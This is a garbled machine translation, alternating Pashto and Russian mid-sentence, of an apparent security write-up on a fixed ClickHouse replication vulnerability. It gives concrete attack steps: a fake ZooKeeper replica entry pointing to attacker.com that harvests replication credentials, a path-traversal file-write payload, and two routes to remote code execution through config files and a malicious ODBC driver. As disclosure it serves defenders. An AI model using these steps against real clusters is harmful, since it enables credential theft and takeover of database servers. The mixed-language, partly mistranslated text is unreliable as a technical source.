دا مقاله به د ClickHouse نقل کولو پروتوکول کې د خورا ځانګړي زیان مننې کیسه بیان کړي، او دا به هم وښيي چې څنګه د برید سطحه پراخه کیدی شي.
ClickHouse د ډیټا لوی مقدار ذخیره کولو لپاره ډیټابیس دی ، ډیری وختونه له یو څخه ډیر نقل کاروي. په ClickHouse کې کلستر کول او نقل کول په سر کې جوړ شوي
Установка ZK по умолчанию не требует аутентификации, так что тысячи ZK серверов, используемых для конфигурации Kafka, Hadoop, ClickHouse доступны публично.
د خپل برید سطح کمولو لپاره، تاسو باید تل د زوکیپر نصبولو په وخت کې تصدیق او اختیار تنظیم کړئ
Есть конечно несколько 0day на основе Java десериализации, но представьте себе, что злоумышленник может читать и писать в ZooKeeper, используемый для репликации ClickHouse.
کله چې په کلستر حالت کې تنظیم شي، ClickHouse د توزیع شوي پوښتنو ملاتړ کوي /clickhouse/task_queue/ddl
.
د مثال په توګه، تاسو یو نوډ جوړ کړئ /clickhouse/task_queue/ddl/query-0001
د منځپانګې سره:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
او له هغې وروسته، د ازموینې میز به د کلستر سرورونو host1 او host2 کې حذف شي. DDL د CREATE/ALTER/DROP پوښتنو چلولو ملاتړ هم کوي.
ډارونکی غږ؟ مګر برید کوونکی چیرته کولی شي د سرور پته ترلاسه کړي؟
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
будут созданы узлы کالمونه и مېاتاداتا.
منځپانګې /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
ایا دا ممکنه ده چې د دې کلستر څخه ډاټا یوځای کړئ؟ هو، که د نقل کولو بندر (TCP/9009
) په سرور کې chXX-address
не будет закрыт firewall и не будет настроена аутентификация для репликации. Как обойти аутентификацию?
برید کوونکی کولی شي په ساده ډول د مینځپانګې کاپي کولو سره په ZK کې نوی نقل رامینځته کړي /clickhouse/tables/01-01/foobar/replicas/chXX
и меняя значение host
.
منځپانګې /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
بیا تاسو اړتیا لرئ نورو نقلونو ته ووایاست چې د برید کونکي سرور کې د معلوماتو نوی بلاک شتون لري چې دوی یې اخیستو ته اړتیا لري - په ZK کې نوډ رامینځته شوی /clickhouse/tables/01-01/foobar/log/log-00000000XX
(د ایکس ایکس یوډول وده کونکی کاونټر، کوم چې باید د پیښې په لاګ کې د وروستي څخه لوی وي):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
چې source_replica - د برید کونکي عکس نوم چې په تیر مرحله کې رامینځته شوی ، block_id — идентификатор блока данных, تر لاسه — команда "get block" (а
Далее каждая реплика читает новое событие в журнале и идет на сервер, подконтрольный злоумышленнику, для получения блока данных (протокол репликации двоичный, работает поверх HTTP). Сервер attacker.com
غوښتنې به ترلاسه کړي:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
چیرته چې XXX د نقل کولو لپاره د تصدیق ډاټا ده. په ځینو مواردو کې، دا کیدای شي د اصلي ClickHouse پروتوکول او HTTP پروتوکول له لارې ډیټابیس ته د لاسرسي سره یو حساب وي. لکه څنګه چې تاسو لیدلي، د برید سطح په جدي توګه لوی کیږي ځکه چې ZooKeeper، د نقل لپاره کارول کیږي، پرته له دې چې تصدیق شوي ترتیب شوي پاتې شي.
Давайте посмотрим на функцию получения блока данных из реплики, она написана с полной уверенностью, что все реплики под правильным контролем и между ними есть доверие.
د تکرار پروسس کوډ
Функция читает список файлов, затем их имена, размеры, содержимое, после чего пишет их в файловой системе. Стоит отдельно описать, как хранятся данные в файловой системе.
په کې ډیری فرعي لارښودونه شتون لري /var/lib/clickhouse
(каталог хранения по-умолчанию из конфигурационного файла):
بيرغونه - د ثبتولو لپاره لارښود
tmp — каталог хранения временных файлов;
user_files - د غوښتنلیکونو فایلونو سره عملیات پدې لارښود پورې محدود دي (INTO OUTFILE او نور)؛
مېاتاداتا - د جدول توضیحاتو سره د sql فایلونه؛
preprocessed_configs — обработанные производные конфигурационные файлы из /etc/clickhouse-server
;
معلومات - اصلي لارښود پخپله د ډیټا سره ، پدې حالت کې د هر ډیټابیس لپاره جلا فرعي لارښود په ساده ډول دلته رامینځته شوی (د مثال په توګه /var/lib/clickhouse/data/default
).
د هر جدول لپاره، د ډیټابیس ډایرکټر کې فرعي لارښود جوړ شوی. هر کالم یو جلا فایل دی چې پورې اړه لري
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Реплика ожидает получения файлов с такими же именами при обработке блока данных и не проверяет их каким-либо способом.
پام لرونکی لوستونکی شاید دمخه په یوه فنکشن کې د فایل_ نوم غیر محفوظ کنټینیشن په اړه اوریدلی وي WriteBufferFromFile
. Да, это позволяет атакующему записать произвольный контент в любой файл на ФС с правами пользователя clickhouse
. Для этого реплика, подконтрольная атакующему, должна вернуть следующий ответ на запрос (для простоты понимания добавлены переносы строк):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
او د یوځای کیدو وروسته ../../../../../../../../../tmp/pwned
فایل به لیکل شي /tmp/pwned د منځپانګې سره سلام ژوبڼ ساتونکی.
Есть несколько вариантов превращения возможности записи файлов в удаленный запуск кода (RCE).
Внешние словари в RCE
په زړو نسخو کې، د ClickHouse ترتیباتو سره لارښود د کارونکي حقونو سره زیرمه شوی و کلک هاؤس ډیفالټ د ترتیباتو فایلونه د XML فایلونه دي چې خدمت په پیل کې لوستل کیږي او بیا یې کیچ کوي /var/lib/clickhouse/preprocessed_configs
. При изменениях они перечитываются. При наличии доступа к /etc/clickhouse-server
атакующий может создать собственный root
.
ODBC в RCE
При установке пакета создается пользователь clickhouse
, при этом не создается его домашний каталог /nonexistent
. په هرصورت، کله چې بهرني لغتونه کاروي، یا د نورو دلیلونو لپاره، مدیران یو لارښود جوړوي /nonexistent
и дают пользователю clickhouse
доступ на запись в него (ССЗБ! نږدې ژباړن).
ClickHouse поддерживает odbc-bridge
، نو دا نور امکان نلري چې د غوښتنې څخه د ډرایور لاره مشخص کړئ. مګر ایا برید کونکی کولی شي د پورته بیان شوي زیان په کارولو سره د کور لارښود ته ولیکي؟
راځئ چې یو فایل جوړ کړو ~/.odbc.ini
د دې په څیر منځپانګې سره:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
بیا په پیل کې SELECT * FROM odbc('DSN=lalala', 'test', 'test');
کتابتون به پورته شي test.so
и получено RCE (спасибо
دا او نور زیانونه د ClickHouse په 19.14.3 نسخه کې حل شوي دي. د خپل ClickHouse او ZooKeepers پاملرنه وکړئ!
سرچینه: www.habr.com